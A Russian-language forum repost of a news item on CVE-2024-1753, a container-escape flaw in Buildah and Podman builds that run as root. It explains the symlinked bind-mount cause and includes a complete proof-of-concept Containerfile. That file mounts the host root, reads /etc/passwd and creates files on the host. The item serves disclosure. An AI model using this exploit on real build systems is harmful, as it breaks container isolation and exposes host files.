Уязвимость в Buildah и Podman, позволяющая обойти изоляцию контейнера

Новости мира unix. Хотите узнать секрет вечного счастья? Откройте страницу 246.
Ответить
acolyte
Аватара пользователя
Сообщения: 2578
Зарегистрирован: 20.08.2022

#

Уязвимость в Buildah и Podman, позволяющая обойти изоляцию контейнера
Дата публикации:Mon, 18 Mar 2024 22:20:30 +0300




В пакетах Buildah и Podman выявлена уязвимость (CVE-2024-1753), позволяющая получить полный доступ к файловой системе хост-окружения на стадии сборки контейнера, запускаемого с правами root. На системах с включённым SELinux доступ к хостовой ФС ограничивается режимом только чтения. Исправление пока доступно в виде патча, который несколько минут назад принят в кодовую базу Buildah.




Уязвимость вызвана тем, что при выполнении монтирования частей ФС через команду "mount --bind" во время сборки на стадии RUN, аргумент с исходным каталогом (параметр "source=") не проверяется на предмет существования в корневой ФС. Оформленный злоумышленником файл конфигурации Containerfile может использовать образ контейнера, в котором исходный каталог для монтирования оформлен в виде символической ссылки на корневую ФС. В этом случае операция монтирование приведёт к монтированию внутрь контейнера корневой ФС хост-окружения, что позволит на стадии RUN получить полный доступ к файловой системе хост-окружния и организовать выход из контейнера во время сборки командами "buildah build" или "podman build".



Пример вредоносного файла Containerfile, сборка которого командой "podman build -f ~/Containerfile ." приведёт к показу содержимого /etc/passwd и созданию файлов /BIND_BREAKEOUT и /etc/BIND_BREAKOUT2 в хост-окружении:


FROM alpine as base

RUN ln -s / /rootdir
RUN ln -s /etc /etc2

FROM alpine

RUN echo "ls container root"
RUN ls -l /

RUN echo "With exploit show host root, not the container's root, and create /BIND_BREAKOUT in / on the host"
RUN --mount=type=bind,from=base,source=/rootdir,destination=/exploit,rw ls -l /exploit; touch /exploit/BIND_BREAKOUT; ls -l /exploit

RUN echo "With exploit show host /etc/passwd, not the container's, and create /BIND_BREAKOUT2 in /etc on the host"
RUN --mount=type=bind,rw,source=/etc2,destination=/etc2,from=base ls -l /; ls -l /etc2/passwd; cat /etc2/passwd; touch /etc2/BIND_BREAKOUT2; ls -l /etc2




Новость позаимствована с opennet.ru
Ссылка на оригинал: https://www.opennet.ru/opennews/art.shtml?num=60805

Жизнь за Нер'зула!

Ответить